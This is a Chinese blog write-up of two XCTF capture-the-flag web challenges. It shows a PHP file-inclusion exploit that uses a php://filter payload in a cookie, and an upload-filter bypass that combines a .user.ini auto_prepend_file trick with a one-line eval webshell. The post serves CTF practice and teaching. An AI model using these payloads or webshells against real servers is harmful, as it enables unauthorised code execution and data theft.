双剑破天门:攻防世界Web题解之独孤九剑心法(三)

双剑破天门:攻防世界Web题解之独孤九剑心法(三)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:攻防世界web-Fileinclude

二:攻防世界web-Easyupload

三:总结


一:攻防世界web-Fileinclude

打开为如下图所示

Flag在flag.php

我们查看源码发现如下

代码审计如下

<?php // 检查是否开启了错误显示,如果没有,则开启 if( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); } // 设置错误报告级别为显示所有错误 error_reporting(E_ALL); // 从 cookie 中获取语言设置 $lan = $_COOKIE['language']; // 如果 cookie 中没有语言设置 if(!$lan) { // 设置默认语言为 english @setcookie("language","english"); // 包含英文语言文件 @include("english.php"); } else { // 如果有语言设置,包含对应的语言文件 @include($lan.".php"); } // 读取 index.php 文件的内容 $x = file_get_contents('index.php'); // 输出 index.php 文件的内容 echo $x; ?>

所以根据代码审计结果我们得知只有cookie中有相应的语言设置才能得到flag

但是检查发现没有cookie所以我们需要自行利用bp传cookie

构建payload=cookie:language=flag发现页面无输出,所以还是有问题

结合题目fileinclude我们可以试一试php伪协议

Payload:cookie:language=php://filter/read=convert.base64-encode/resource=flag

这里路径为flag而不是flag.php因为根据源代码知$lan=flag 在拼接后面.php才对

成功得到flag


二:攻防世界web-Easyupload

打开为文件上传

我们随便上传一个木马文件发现被干掉所以这里应该是过滤了php

所以我们利用fastcg中.user.ini特性进行任意命令执行

参考文章:.user.ini文件构成的PHP后门 - phith0n

添加如下内容

GIF89a
auto_prepend_file=a.jpg

然后利用bp抓包将这个文件上传记住要将Content-Type: application/octet-stream修改为
Content-Type: image/jpg

上传成功

然后将我们准备好的图片马修改为a.jpg我们试一试图片马看看能不能上传,我们现将php改掉

如果你没有图片马可以自行创建一个内容如下 

GIF89a

<?=eval($_REQUEST[c]);?>

修改后如下

 <?=eval($_REQUEST[cmd]);?>

上传成功,我们利用蚁剑连接

连接成功

成功拿到flag

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。


三:总结

PHP 伪协议是一组用于访问不同类型资源、执行代码等操作的特殊协议,可在文件包含等场景被利用;而 FastCGI 中的.user.ini 特性允许用户在特定目录下配置 PHP 运行时设置,若配置不当可能引发安全风险,被攻击者利用来执行恶意代码。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

Passkey攻击技术:绕过FIDO2/WebAuthn实现的逻辑漏洞

前言 1. 技术背景:在现代网络攻防体系中,身份窃取是绝大多数攻击的起点。从APT攻击到大规模数据泄露,获取合法凭证始终是攻击者的核心目标之一。传统密码因其易被钓鱼、撞库和暴力破解的固有缺陷,已成为安全体系中最薄弱的一环。Passkey,作为基于FIDO2/WebAuthn标准的下一代身份验证技术,通过公钥密码学从根本上解决了密码被盗用的问题,被誉为“抗钓鱼的终极解决方案”。 它在攻防对抗中,将防御重心从“保护一个可被窃取的秘密(密码)”转移到了“验证一个不可被窃取的证明(私钥签名)”。 2. 学习价值:掌握Passkey的攻击技术,并非为了作恶,而是为了更深刻地理解“安全是一个整体,而非单个技术的堆砌”。学会本文内容,您将能够: * 识别并验证Web应用在Passkey实现中常见的逻辑漏洞。 * 在安全评估和渗透测试中,模拟针对Passkey的真实攻击场景,评估系统风险。 * 作为开发者或架构师,构建出真正具备韧性的Passkey认证系统,避免纸面上的安全。 3. 使用场景:本技术适用于以下实际场景: * 授权渗透测试:对实现了Passkey登

OpenClaw 中 web_search + web_fetch 最佳实践速查表

OpenClaw 中 web_search + web_fetch 最佳实践速查表

OpenClaw 中 web_search + web_fetch 最佳实践速查表 摘要:本文帮助读者明确 OpenClaw 网络搜索工具和不同搜索技能的的职责边界,理解“先搜索、再抓取、后总结”的最佳实践,并能更稳定地在 OpenClaw 中使用 tavily-search 与 web_fetch 完成网络信息搜索任务。主要内容包括:解决 OpenClaw 中 web_search、tavily-search、web_fetch、原生 provider 与扩展 skill 容易混淆的问题、网络搜索能力分层说明、OpenClaw 原生搜索 provider 与 Tavily/Firecrawl 扩展 skill 的区别、标准工作流、提示词模板、

【Linux网络系列】:JSON+HTTP,用C++手搓一个web计算器服务器!

【Linux网络系列】:JSON+HTTP,用C++手搓一个web计算器服务器!

🔥 本文专栏:Linux网络Linux实践系列 🌸作者主页:努力努力再努力wz 💪 今日博客励志语录:别害怕选错,人生最遗憾的从不是‘选错了’,而是‘我本可以’。每一次推倒重来的勇气,都是在给灵魂贴上更坚韧的勋章。 ★★★ 本文前置知识: 序列化与反序列化 引入 在之前的博客中,我详细介绍了序列化 与反序列化 的概念。对于使用 TCP 协议进行通信的双方,由于 TCP 是面向字节流的,在发送数据之前,我们通常需要定义一种结构化的数据来描述传输内容,并以此作为数据的容器。在 C++ 中,这种结构化数据通常表现为对象或结构体。然而,我们不能直接将结构体内存中对应的字节原样发送到另一端,因为直接传递内存字节会引发字节序 和结构体内存对齐 的问题。不同平台、不同编译器所遵循的内存对齐规则可能不同,这可能导致接收方在解析结构体字段时出现错误。 因此,我们需要借助序列化 。序列化 是指将结构化的数据按照预定的规则转换为连续的字节流。其主要目的是屏蔽平台差异,使得位于不同平台的进程能够以统一的方式解析该字节流。序列化通常分为两种形式:文本序列化 与二进制序列化 。 文

【GLM-5 陪练式前端新手入门】第一篇:从 GLM-5 提示到实践,完成前端入门第一步

【GLM-5 陪练式前端新手入门】第一篇:从 GLM-5 提示到实践,完成前端入门第一步

【GLM-5 陪练式前端新手入门】第一篇:从 GLM-5 提示到实践,完成前端入门第一步 目录 【GLM-5 陪练式前端新手入门】第一篇:从 GLM-5 提示到实践,完成前端入门第一步 1 项目背景:用 AI 陪练开启前端入门之路 2 AI 赋能:向 GLM-5 提出专属前端导师需求 3 快速落地:跟着 AI 完成第一个网页 3.1 知识点理解:HTML 是网页的 “骨架” 3.2 代码实践:创建第一个网页 3.3 效果验证:本地运行查看页面 4 项目总结与价值总结 技术栈 适用场景 GLM-5